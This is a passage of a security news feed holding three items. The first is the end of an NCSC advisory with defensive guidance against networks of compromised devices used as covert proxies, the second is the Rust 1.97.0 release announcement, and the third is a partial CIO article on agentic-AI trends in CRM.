<p>Because of this, a description of all known covert networks in detail, including how they are constructed and how they communicate, would immediately be out of date – and for most network defenders would not be practically useful. </p>
</div>
<div class="OutlineElement Ltr SCXW21942648 BCX8">
<p>However, most covert networks of compromised devices use the same basic set up. Understanding this generalized structure can aid researchers and defenders by helping them to understand which part of a network they may have found, and how to defend against it. </p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-04/A%20diagram%20illustrating%20the%20basic%20setup%20of%20a%20covert%20network..png?itok=3Bfm4nKj" width="1024" height="877" alt="A diagram illustrating the basic setup of a covert network.">



</div>
      <figcaption class="c-figure__caption">A diagram illustrating the basic setup of a covert network.</figcaption>
  </figure>
<div class="OutlineElement Ltr SCXW75515976 BCX8">
<p>The diagram above illustrates the basic setup of a covert network, where typically an actor will connect to the network via an on-ramp or entry node. Their traffic will be forwarded through multiple compromised devices, used as traversal nodes, before exiting the network from an exit node, usually in the same geographic region as the target. </p>
<h3><strong>Protective Advice </strong></h3>
<p>Defending from attackers using covert networks is not straightforward, and defensive tactics will be different based on the levels of resource and the nature of the target organization. General advice for good cyber security practice should be followed, and some key messages can be found in the appendix of this advisory.  </p>
</div>
<div class="OutlineElement Ltr SCXW75515976 BCX8">
<p>The following advice is specifically tailored to steps which can be taken to combat the risk of attacks coming from large, dynamic networks of compromised devices. </p>
</div>
<div class="OutlineElement Ltr SCXW75515976 BCX8">
<p>Further guidance for all organizations facing cyber security threats is available on the NCSC website. </p>
<p><em>This guidance should be considered alongside all applicable laws and regulations of the UK and co-sealing countries relating to the security of networks and data. It will be each organization’s responsibility to ensure compliance with any such laws and regulations. Organizations should note that following the recommended actions set out below will not remove all risks.</em></p>
<h4><strong>All organizations</strong></h4>
<div class="OutlineElement Ltr SCXW75515976 BCX8">
<p>The NCSC recommends the following steps for all affected organizations to either take themselves, or ask their managed service and/or security providers to investigate for them: </p>
<ul>
<li>Map and understand network edge devices, developing a clear understanding of organizational assets and what should be connecting to them.</li>
<li>Baseline normal connections, especially to corporate virtual private networks (VPNs) or other similar services.
<ul>
<li>Would you expect connections from consumer broadband ranges?</li>
</ul>
</li>
<li>Leverage available dynamic threat feeds which include covert network infrastructure.</li>
<li>Implement multifactor authentication for remote connections.</li>
</ul>
<p>Smaller organizations should consider creating and actioning a <a href="https://cybertoolkit.service.ncsc.gov.uk/" target="_blank"><u>free NCSC Cyber Action Toolkit</u></a>. </p>
<h4><strong>Larger or more at-risk organizations</strong></h4>
<div class="SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p>Some more comprehensive measures may be appropriate if the risk to an organization is high enough, to be conducted either in-house or through a security provider:  </p>
<ul>
<li>Apply IP address allow lists rather than deny lists for connections to corporate VPNs for remote workers.</li>
<li>Use geographic allow lists or profile incoming connections based on operating system, time zones, and/or organization specific system configuration settings.</li>
<li>Implement zero trust policies for connections.</li>
<li>Enforce machine certificates for Secure Sockets Layer (SSL) connections.</li>
<li>Reduce the internet-facing presence of the IT estate.</li>
<li>Investigate machine learning techniques to profile normal network edge activity to detect and block anomalies. </li>
</ul>
<p><a href="https://www.ncsc.gov.uk/cyberessentials/overview" target="_blank"><u>The NCSC's Cyber Essentials</u></a> can help protect organizations of all sizes. </p>
<h4><strong>Largest or most at-risk organizations</strong> </h4>
<p>If Advanced Persistent Threat (APT) tracking is part of an organization’s in-house capability, or if it is part of the service provided by a security vendor, consider tracking China-nexus covert networks as APTs in their own right.</p>
<ul>
<li>Active hunting – look for connections from IP addresses likely to be part of a covert network of compromised devices, for instance those hosting SOHO routers or IoT devices.</li>
<li>Track and map covert networks reported by industry or government by looking at banners and certificates.</li>
<li>Use threat reporting and threat feeds to create and implement dynamic blocklists and create alert rules to detect incoming threats.</li>
<li>Consider using NetFlow feeds to look upstream and map covert networks to find new nodes. </li>
</ul>
<p>The <a href="https://www.ncsc.gov.uk/collection/cyber-assessment-framework" target="_blank"><u>NCSC Cyber Assessment Framework</u></a> provides guidance for organizations under the highest levels of threat, including those operating essential services, in sectors such as energy, healthcare, transport, digital infrastructure and government.  </p>
<h3><strong>MITRE ATT&amp;CK® </strong></h3>
<p>This advisory has been compiled with respect to the MITRE ATT&amp;CK® framework, a globally accessible knowledge base of adversary tactics and techniques based on real-world observations. </p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p class="text-align-justify"><strong>Tactic </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p class="text-align-justify"><strong>ID </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p class="text-align-justify"><strong>Technique </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p class="text-align-justify"><strong>Procedure </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p><strong>Resource Development </strong></p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p><a href="https://attack.mitre.org/versions/v18/techniques/T1584/005/" target="_blank"><u>T1584.005</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p>Compromise Infrastructure: Botnet </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p>Botnets are used as core components of covert networks </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p><strong>Resource Development </strong></p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p><a href="https://attack.mitre.org/versions/v18/techniques/T1584/008/" target="_blank"><u>T1584.008</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p>Compromise Infrastructure: Network Devices </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p>Devices are compromised and added to botnets </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p><strong>Resource Development </strong></p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p><a href="https://attack.mitre.org/versions/v18/techniques/T1583/003/" target="_blank"><u>T1583.003</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p>Acquire Infrastructure: Virtual Private Server </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p>Virtual private servers (VPS) are used in covert networks, typically as on-ramps </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p><strong>Command and Control </strong></p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p><a href="https://attack.mitre.org/versions/v18/techniques/T1090/003/" target="_blank"><u>T1090.003</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p>Proxy: Multi-hop Proxy </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p>Used by China-nexus cyber actors to route traffic </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<h3> <strong>Appendix: Cyber Security Best Practices </strong></h3>
<p>In addition to the protective advice outlined in this advisory, a number of cyber security best practices will also be useful in defending against the activity described in this advisory. </p>
<ul>
<li><strong>Protect your devices and networks by keeping them up to date</strong>: use the latest supported versions, apply security updates promptly, use antivirus and scan regularly to guard against known malware threats. See NCSC Guidance: <a href="https://www.ncsc.gov.uk/collection/device-security-guidance/policies-and-settings/antivirus-and-other-security-software" target="_blank"><u>https://www.ncsc.gov.uk/collection/device-security-guidance/policies-and-settings/antivirus-and-other-security-software</u></a></li>
<li><strong>Prevent and detect lateral movement in your organization’s networks</strong>. See NCSC Guidance: <a href="https://www.ncsc.gov.uk/guidance/preventing-lateral-movement" target="_blank"><u>https://www.ncsc.gov.uk/guidance/preventing-lateral-movement</u></a></li>
<li><strong>Implement architectural controls for network segregation</strong>. See NCSC Guidance: <a href="https://www.ncsc.gov.uk/guidance/10-steps-network-security" target="_blank"><u>https://www.ncsc.gov.uk/guidance/10-steps-network-security</u></a></li>
<li><strong>Set up a security monitoring</strong> <strong>capability</strong> so you are collecting the data that will be needed to analyze network intrusions. See NCSC Guidance: <a href="https://www.ncsc.gov.uk/guidance/introduction-logging-security-purposes" target="_blank"><u>https://www.ncsc.gov.uk/guidance/introduction-logging-security-purposes</u></a> and <a href="https://www.ncsc.gov.uk/information/logging-made-easy" target="_blank"><u>https://www.ncsc.gov.uk/information/logging-made-easy</u></a></li>
<li><strong>Use modern systems and software.</strong> These have better security built-in. If you cannot move off out-of-date platforms and applications straight away, there are short term steps you can take to improve your position. See NCSC Guidance:  <a href="https://www.ncsc.gov.uk/collection/mobile-device-guidance/managing-the-risks-from-obsolete-products" target="_blank"><u>https://www.ncsc.gov.uk/collection/mobile-device-guidance/managing-the-risks-from-obsolete-products</u></a></li>
<li><strong>Restrict intruders' ability to move freely around your systems and networks</strong>. Pay particular attention to potentially vulnerable entry points such as third-party systems with onward access to your core network. During an incident, disable remote access from third-party systems until you are sure they are clean. See NCSC Guidance: <a href="https://www.ncsc.gov.uk/guidance/preventing-lateral-movement" target="_blank"><u>https://www.ncsc.gov.uk/guidance/preventing-lateral-movement</u></a> and <a href="https://www.ncsc.gov.uk/guidance/assessing-supply-chain-security" target="_blank"><u>https://www.ncsc.gov.uk/guidance/assessing-supply-chain-security</u></a><u>.</u></li>
<li><strong>Deploy a host-based intrusion detection system</strong>. A variety of products are available, free and paid-for, to suit different needs and budgets.</li>
<li><strong>Further information</strong>: Invest in preventing malware-based attacks across various scenarios.  See NCSC Guidance: <a href="https://www.ncsc.gov.uk/guidance/mitigating-malware-and-ransomware-attacks" target="_blank"><u>https://www.ncsc.gov.uk/guidance/mitigating-malware-and-ransomware-attacks</u></a> </li>
</ul>
<h4><strong>Disclaimer </strong> </h4>
<p>This report draws on information derived from NCSC and industry sources. Any NCSC findings and recommendations made have not been provided with the intention of avoiding all risks and following the recommendations will not remove all such risk. Ownership of information risks remains with the relevant system owner at all times. Any reference to specific commercial entities, products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring by co-sealers. UK readers should refer to the NCSC website for information about <a href="https://www.ncsc.gov.uk/section/products-services/assured-services" target="_blank"><u>NCSC assured services</u></a>. </p>
</div>
</div>
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p>This information is exempt under the Freedom of Information Act 2000 (FOIA) and may be exempt under other UK information legislation.  </p>
</div>
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p>Refer any FOIA queries to <a href="mailto:ncscinfoleg@ncsc.gov.uk" target="_blank"><u>ncscinfoleg@ncsc.gov.uk</u></a>.  </p>
</div>
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p>All material is UK Crown Copyright © </p>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[The Rust Programming Language Blog: Announcing Rust 1.97.0]]></title>
<description><![CDATA[The Rust team is happy to announce a new version of Rust, 1.97.0. Rust is a programming language empowering everyone to build reliable and efficient software.
If you have a previous version of Rust installed via rustup, you can get 1.97.0 with:
$ rustup update stable
If you don't have it already,...]]></description>
<link>https://tsecurity.de/de/3693286/tools/the-rust-programming-language-blog-announcing-rust-1970/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693286/tools/the-rust-programming-language-blog-announcing-rust-1970/</guid>
<pubDate>Sat, 25 Jul 2026 08:37:20 +0200</pubDate>
<category>💾  Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>The Rust team is happy to announce a new version of Rust, 1.97.0. Rust is a programming language empowering everyone to build reliable and efficient software.</p>
<p>If you have a previous version of Rust installed via <code>rustup</code>, you can get 1.97.0 with:</p>
<pre class="giallo z-code"><code><span class="giallo-l"><span>$</span><span> rustup update stable</span></span></code></pre>
<p>If you don't have it already, you can get <a href="https://www.rust-lang.org/install.html" rel="external"><code>rustup</code></a> from the appropriate page on our website, and check out the <a href="https://doc.rust-lang.org/stable/releases.html#version-1970-2026-07-09" rel="external">detailed release notes for 1.97.0</a>.</p>
<p>If you'd like to help us out by testing future releases, you might consider updating locally to use the beta channel (<code>rustup default beta</code>) or the nightly channel (<code>rustup default nightly</code>). Please <a href="https://github.com/rust-lang/rust/issues/new/choose" rel="external">report</a> any bugs you might come across!</p>
<h3><a class="anchor" href="https://blog.rust-lang.org/2026/07/09/Rust-1.97.0/#what-s-in-1-97-0-stable"></a>
What's in 1.97.0 stable</h3>
<h4><a class="anchor" href="https://blog.rust-lang.org/2026/07/09/Rust-1.97.0/#symbol-mangling-v0-enabled-by-default"></a>
Symbol mangling v0 enabled by default</h4>
<p>When Rust is compiled into object files and binaries, each item (functions,
statics, etc) must have a globally unique "symbol" identifying it. To avoid
conflicts when linking together different Rust programs, Rust mangles the
original name of items to include additional context such as the module path,
defining crate, generics, and more. Historically, this mangling was based on
the <a href="https://refspecs.linuxbase.org/cxxabi-1.86.html#mangling" rel="external">Itanium ABI</a>,
also (sometimes) used by C++.</p>
<p>The new mangling scheme resolves a number of drawbacks from the previous one:</p>
<ul>
<li>Generic parameter instantiations preserve their values, rather than being tracked solely behind a hash</li>
<li>Inconsistencies: not all parts used the Itanium ABI, meaning that custom demangling was still necessary</li>
</ul>
<p>Since Rust 1.59, the compiler has supported opting into a Rust-specific
mangling scheme via <code>-Csymbol-mangling-version=v0</code>. Since November 2025, this
scheme has been enabled by default on nightly, and 1.97 is now enabling it on
stable Rust. The legacy mangling scheme can only be enabled on nightly, and the
current plan is to fully remove it.</p>
<p>See the previous <a href="https://blog.rust-lang.org/2025/11/20/switching-to-v0-mangling-on-nightly/" rel="external">blog post</a> for more details.</p>
<h4><a class="anchor" href="https://blog.rust-lang.org/2026/07/09/Rust-1.97.0/#cargo-support-for-denying-warnings"></a>
Cargo support for denying warnings</h4>
<p>It's common practice to deny warnings in CI. Historically, doing so is
typically done through <code>RUSTFLAGS=-Dwarnings</code>. With Rust 1.97, Cargo controls
how warnings interact with build success: either silencing them (via <code>allow</code>
level), rendering without failing (default, <code>warn</code>), or denying them (via <code>deny</code>).</p>
<p>As a  result of Cargo configuration determining the behavior, using this
feature doesn't invalidate the underlying build cache, meaning that it's easy
to temporarily opt-in. For example, if warnings are adding unwanted noise while
working through fixing errors after a refactor, you can run
<code>CARGO_BUILD_WARNINGS=allow cargo check</code>, temporarily silencing them.</p>
<p>In CI, jobs can instead set <code>CARGO_BUILD_WARNINGS=deny</code> to deny warnings. This
can be combined with <code>--keep-going</code> to collect all errors and warnings rather
than stopping on the first failing package.</p>
<p>See the <a href="https://doc.rust-lang.org/cargo/reference/config.html#buildwarnings" rel="external">documentation</a> for more details.</p>
<h4><a class="anchor" href="https://blog.rust-lang.org/2026/07/09/Rust-1.97.0/#linker-output-no-longer-hidden-by-default"></a>
Linker output no longer hidden by default</h4>
<p>rustc invokes a linker on behalf of users. Historically, rustc has silenced
linker output by default if the link completes successfully. This can mask real
problems, though, so in Rust 1.97 we are enabling linker messages by default.
These are emitted as a warning lint, for example:</p>
<pre class="giallo z-code"><code><span class="giallo-l"><span>warning: linker stderr: ignoring deprecated linker optimization setting '1'</span></span>
<span class="giallo-l"><span>  |</span></span>
<span class="giallo-l"><span>  = note: `#[warn(linker_messages)]` on by default</span></span></code></pre>
<p>Common linker messages that have been diagnosed as false positives or intentional behavior
are filtered out by rustc. Several defects have already been fixed as a result
of no longer hiding this output on nightly.</p>
<p>Note that currently, <code>linker_messages</code> is a special lint that is <em>not</em> affected
by the <code>warnings</code> lint group. This is intentional as rustc generally doesn't
control linker output as precisely, and it's not uncommon for output to only
appear on some platforms. If you are seeing what you think is a false positive
output from the linker, please <a href="https://github.com/rust-lang/rust/issues/new/choose" rel="external">file an issue</a>.</p>
<p>To silence the warning in the mean time, you can configure the lint level to
allow. This can be done through <code>Cargo.toml</code> by adding a <a href="https://doc.rust-lang.org/nightly/cargo/reference/manifest.html#the-lints-section" rel="external">lints section</a> like this:</p>
<pre class="giallo z-code"><code><span class="giallo-l"><span>[</span><span>lints</span><span>.</span><span>rust</span><span>]</span></span>
<span class="giallo-l"><span class="z-variable">linker_messages</span><span> =</span><span class="z-punctuation z-definition z-string z-string"> "</span><span class="z-string z-quoted z-string">allow</span><span class="z-punctuation z-definition z-string z-string">"</span></span></code></pre><h4><a class="anchor" href="https://blog.rust-lang.org/2026/07/09/Rust-1.97.0/#stabilized-apis"></a>
Stabilized APIs</h4>
<ul>
<li><a href="https://doc.rust-lang.org/stable/std/iter/struct.RepeatN.html#impl-Default-for-RepeatN%3CA%3E" rel="external"><code>Default for RepeatN</code></a></li>
<li><a href="https://doc.rust-lang.org/stable/std/ffi/struct.FromBytesUntilNulError.html#impl-Copy-for-FromBytesUntilNulError" rel="external"><code>Copy for ffi::FromBytesUntilNulError</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/154003" rel="external"><code>Send for std::fs::File</code> on UEFI</a></li>
<li><a href="https://doc.rust-lang.org/stable/std/primitive.u32.html#method.isolate_highest_one" rel="external"><code>&lt;{integer}&gt;::isolate_highest_one</code></a></li>
<li><a href="https://doc.rust-lang.org/stable/std/primitive.u32.html#method.isolate_lowest_one" rel="external"><code>&lt;{integer}&gt;::isolate_lowest_one</code></a></li>
<li><a href="https://doc.rust-lang.org/stable/std/primitive.u32.html#method.highest_one" rel="external"><code>&lt;{integer}&gt;::highest_one</code></a></li>
<li><a href="https://doc.rust-lang.org/stable/std/primitive.u32.html#method.lowest_one" rel="external"><code>&lt;{integer}&gt;::lowest_one</code></a></li>
<li><a href="https://doc.rust-lang.org/stable/std/primitive.u32.html#method.bit_width" rel="external"><code>&lt;{uN}&gt;::bit_width</code></a></li>
<li><a href="https://doc.rust-lang.org/stable/std/num/struct.NonZero.html#method.isolate_highest_one" rel="external"><code>NonZero&lt;{integer}&gt;::isolate_highest_one</code></a></li>
<li><a href="https://doc.rust-lang.org/stable/std/num/struct.NonZero.html#method.isolate_lowest_one" rel="external"><code>NonZero&lt;{integer}&gt;::isolate_lowest_one</code></a></li>
<li><a href="https://doc.rust-lang.org/stable/std/num/struct.NonZero.html#method.highest_one" rel="external"><code>NonZero&lt;{integer}&gt;::highest_one</code></a></li>
<li><a href="https://doc.rust-lang.org/stable/std/num/struct.NonZero.html#method.lowest_one" rel="external"><code>NonZero&lt;{integer}&gt;::lowest_one</code></a></li>
<li><a href="https://doc.rust-lang.org/stable/std/num/struct.NonZero.html#method.bit_width" rel="external"><code>NonZero&lt;{uN}&gt;::bit_width</code></a></li>
</ul>
<p>These previously stable APIs are now stable in const contexts:</p>
<ul>
<li><a href="https://doc.rust-lang.org/stable/std/primitive.char.html#method.is_control" rel="external"><code>char::is_control</code></a></li>
</ul>
<h4><a class="anchor" href="https://blog.rust-lang.org/2026/07/09/Rust-1.97.0/#other-changes"></a>
Other changes</h4>
<p>Check out everything that changed in <a href="https://github.com/rust-lang/rust/releases/tag/1.97.0" rel="external">Rust</a>, <a href="https://doc.rust-lang.org/nightly/cargo/CHANGELOG.html#cargo-197-2026-07-09" rel="external">Cargo</a>, and <a href="https://github.com/rust-lang/rust-clippy/blob/master/CHANGELOG.md#rust-197" rel="external">Clippy</a>.</p>
<h3><a class="anchor" href="https://blog.rust-lang.org/2026/07/09/Rust-1.97.0/#contributors-to-1-97-0"></a>
Contributors to 1.97.0</h3>
<p>Many people came together to create Rust 1.97.0. We couldn't have done it without all of you. <a href="https://thanks.rust-lang.org/rust/1.97.0/" rel="external">Thanks!</a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[7 CRM trends for 2026: AI brings decisive action to customer workflows]]></title>
<description><![CDATA[Agentic AI has advanced from the promises-and-pilots phase of 2025 to reality and rollouts in 2026. In the process, agentic AI is transforming virtually every aspect of customer relationship management (CRM), the platform that manages sales, marketing, and customer service.



“Last year, everybo...]]></description>
<link>https://tsecurity.de/de/3693117/it-nachrichten/7-crm-trends-for-2026-ai-brings-decisive-action-to-customer-workflows/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693117/it-nachrichten/7-crm-trends-for-2026-ai-brings-decisive-action-to-customer-workflows/</guid>
<pubDate>Sat, 25 Jul 2026 06:53:15 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Agentic AI has advanced from the promises-and-pilots phase of 2025 to reality and rollouts in 2026. In the process, agentic AI is transforming virtually every aspect of <a href="https://www.cio.com/article/272365/what-is-crm-software-for-managing-customer-data.html">customer relationship management (CRM)</a>, the platform that manages sales, marketing, and customer service.</p>



<p class="wp-block-paragraph">“Last year, everybody was dipping their toes into the water,” says <a href="https://futurumgroup.com/keith-kirkpatrick/">Keith Kirkpatrick</a>, research director at The Futurum Group. This year, agentic AI has built momentum from the boardroom down, with companies recognizing that having an AI strategy is imperative. “They feel like if they don’t embrace it now, their competitors will.”</p>



<p class="wp-block-paragraph"><a href="https://www.deloitte.com/global/en/about/people/profiles.gx-harry-datwani+f20748dc.html">Harry Datwani</a>, a principal at Deloitte Digital, adds that enterprise CRM customers have transitioned from “proof of concept” to “scale and execution.”</p>



<p class="wp-block-paragraph">“Across sales, service, marketing, even in the commerce space, enterprises are really using AI and agentic,” he says.</p>



<p class="wp-block-paragraph">“CRM in 2026 is undergoing a structural shift, not just an incremental evolution,” says Forrester analyst <a href="https://www.forrester.com/analyst-bio/kate-leggett/BIO2629">Kate Leggett</a>, noting that AI is becoming a core part of CRM infrastructure, not just a feature or an add-on. According to Forrester data, around 70% of companies are already using AI in their CRM systems, she says.</p>



<p class="wp-block-paragraph">Here are the hot AI-driven trends in CRM this year.</p>



<h2 class="wp-block-heading">CRM becomes an action hero</h2>



<p class="wp-block-paragraph">CRM platforms have traditionally served as passive, static systems of record. Now, agentic AI is transforming CRM into a powerful, real-time solution that can act autonomously.</p>



<p class="wp-block-paragraph">“Organizations that rethink CRM as a real-time, AI-powered system of action — and embrace agentic AI to handle complex, unpredictable work — are better positioned to deliver exceptional customer experiences,” says IDC analyst <a href="https://my.idc.com/getdoc.jsp?containerId=PRF005191">Neil Ward-Dutton</a>. “This approach not only enhances satisfaction and loyalty but also drives operational efficiency and business agility.”</p>



<p class="wp-block-paragraph">Forrester’s Leggett says that AI-powered CRM platforms have advanced from simple data capture to real-time decision-making and execution. Standard capabilities include next-best action recommendations, call summaries, automated updates, generated emails, knowledge creation, predictive forecasting, and deal scoring.</p>



<p class="wp-block-paragraph">She adds that AI agents can now execute workflows, such as routing cases, sending follow-ups, and updating records (with human oversight). They can also handle end-to-end service and sales tasks autonomously, including case resolutions and sales development activities.</p>



<h2 class="wp-block-heading">Agentic drives workforce changes</h2>



<p class="wp-block-paragraph">AI use in CRM systems is also impacting workforce strategies.</p>



<p class="wp-block-paragraph">“We used to hire for deep expertise,” says Constellation Research analyst <a href="https://www.constellationr.com/user/liz-miller">Liz Miller</a>. “AI has commoditized expertise because I can take all that data from my CRM and train my AI models to go deep, to know everything about any product I’ve ever sold, from what has worked, what hasn’t, every price, every sale.”</p>



<p class="wp-block-paragraph">Now, instead of hiring candidates with deep expertise, organizations are looking for candidates who can go wide. “I can train a model to have deep expertise. What I can’t train for is experience, because experience is what happens when a person has gone broad across a lot of different scenarios and faced complexity across that broad scenario,” says Miller.</p>



<p class="wp-block-paragraph">For example, AI systems can automate many aspects of marketing, Miller notes, but there’s no substitute for creativity: people who can interrogate the data and come up with innovative marketing campaigns that connect with customers.</p>



<p class="wp-block-paragraph"><a href="https://www.servicenow.com/workflow/author/terence-chesire.html">Terence Chesire</a>, group vice president of ServiceNow CRM and industry workflows, says that organizations are using agentic AI to free up team members from repetitive, lower-value activities. Those employees have now moved to higher-level roles “where they’re working on transformational deals rather than just building a spreadsheet.”</p>



<p class="wp-block-paragraph">“That’s what we’re seeing as super-exciting as organizations not just free up people, but the speed and effort reduction and the friction reduction in what they can do,” he adds.</p>



<h2 class="wp-block-heading">Data layer takes center stage</h2>



<p class="wp-block-paragraph">AI’s promise to deliver actionable customer and marketing intelligence has placed even greater emphasis on the importance on sound data management practices for CRM.</p>



<p class="wp-block-paragraph">“The light bulb has flashed on very brightly for our clients,” says Deloitte’s Datwani. “Everyone is talking about AI agents, but your ability to really extract value is inextricably linked to the quality of your data and the ability to make that data accessible. What we’re finding is that despite large investments over time our clients still have fragmented data. And so, they are data rich and insight poor.”</p>



<p class="wp-block-paragraph">The good news, says Datwani, is that AI agents themselves can <a href="https://www.cio.com/article/2140371/gen-ai-can-be-the-answer-to-your-data-problems-but-not-all-of-them.html">help clean up and organize data</a>. And vendors such as <a href="https://www.cio.com/article/4030966/snowflake-and-databricks-vie-for-the-heart-of-enterprise-ai.html">Snowflake and Databricks</a>, along with the traditional CRM powerhouses, are offering powerful data analytics solutions. “Everyone is battling for that data layer,” Datwani says.</p>



<p class="wp-block-paragraph">Forrester’s Leggett adds that CRM platforms are converging with <a href="https://www.cio.com/article/308839/top-8-customer-data-platforms.html">customer data platforms (CDPs)</a>, real-time event streams, and external data sources to create connected customer data networks. These real-time, connected data models can help organizations deliver hyper-personalization at scale.</p>



<h2 class="wp-block-heading">Agentic ushers in pricing complexity</h2>



<p class="wp-block-paragraph">The shift from license- or subscription-based pricing to an <a href="https://www.cio.com/article/3624540/how-will-ai-agents-be-priced-cios-need-to-pay-attention.html">outcome or consumption pricing model</a> has the potential to help CIOs tie their CRM costs to specific business metrics, such as the number of customer service calls resolved per hour. But it has also introduced a <a href="https://www.cio.com/article/4184688/it-hurtles-toward-the-great-enterprise-pricing-reset.html">new level of complexity</a> when it comes to budgeting for CRM costs.</p>



<p class="wp-block-paragraph">For example, Chesire says ServiceNow’s CRM pricing plan starts with a baseline subscription model, and on top of that, customers get a certain number of AI tokens per user and can buy additional tokens as AI usage ramps up.</p>



<p class="wp-block-paragraph">Meanwhile, Salesforce has <a href="https://www.cio.com/article/4189183/salesforce-unveils-ai-help-agent-with-pay-per-resolution-pricing.html">rolled out pay-per-resolution pricing</a> with its recently unveiled AI Help Agent and last month <a href="https://www.cio.com/article/4183667/salesforce-to-acquire-usage-based-billing-specialist-m3ter.html">acquired usage-based billing specialist m3ter</a>. Oracle is also <a href="https://www.cio.com/article/4184271/oracle-wades-into-outcome-based-ai-billing-waters.html">piloting outcome-based AI pricing</a>.</p>



<p class="wp-block-paragraph">All these approaches undercut the predictability of the subscription model, which will complicate CIOs’ cost calculus, Deloitte’s Datwani says. “Now, as you start to think about consumption and tokens, costs might look different. As folks are opening up the architecture with things like headless CRM, what will the cost model look like for API calls or MCP server calls? So, there’s many more variables,” he adds.</p>



<h2 class="wp-block-heading">The rise of multi-agent orchestration</h2>



<p class="wp-block-paragraph">To act autonomously, agents need to access multiple data sets and software platforms seamlessly. As a result, the proliferation of agents, some embedded within specific vendor platforms and some created in-house, is going to require an orchestration layer, Futurum’s Kirkpatrick says.</p>



<p class="wp-block-paragraph">He points out that organizations need to monitor and manage agents, enforcing the same type of policy-based access control that exists for people. Organizations also need to set limits on what domains a specific agent can get into, what types of data they can access, what lines can’t they cross.</p>



<p class="wp-block-paragraph">Kirkpatrick predicts that a <a href="https://www.cio.com/article/4138739/21-agent-orchestration-tools-for-managing-your-ai-fleet.html">new class of orchestration tools</a> will emerge, although it’s not clear whether that orchestration layer will be provided by the leading CRM vendors, hyperscalers, or third parties.</p>



<p class="wp-block-paragraph">Datwani agrees. “The orchestration layer is an interesting area, where the traditional vendors are in on it, the hyperscalers are also offering it, and there are third parties. It’s my belief that there’s not going to be a clear winner.”<em></em></p>



<h2 class="wp-block-heading">The interface becomes conversational</h2>



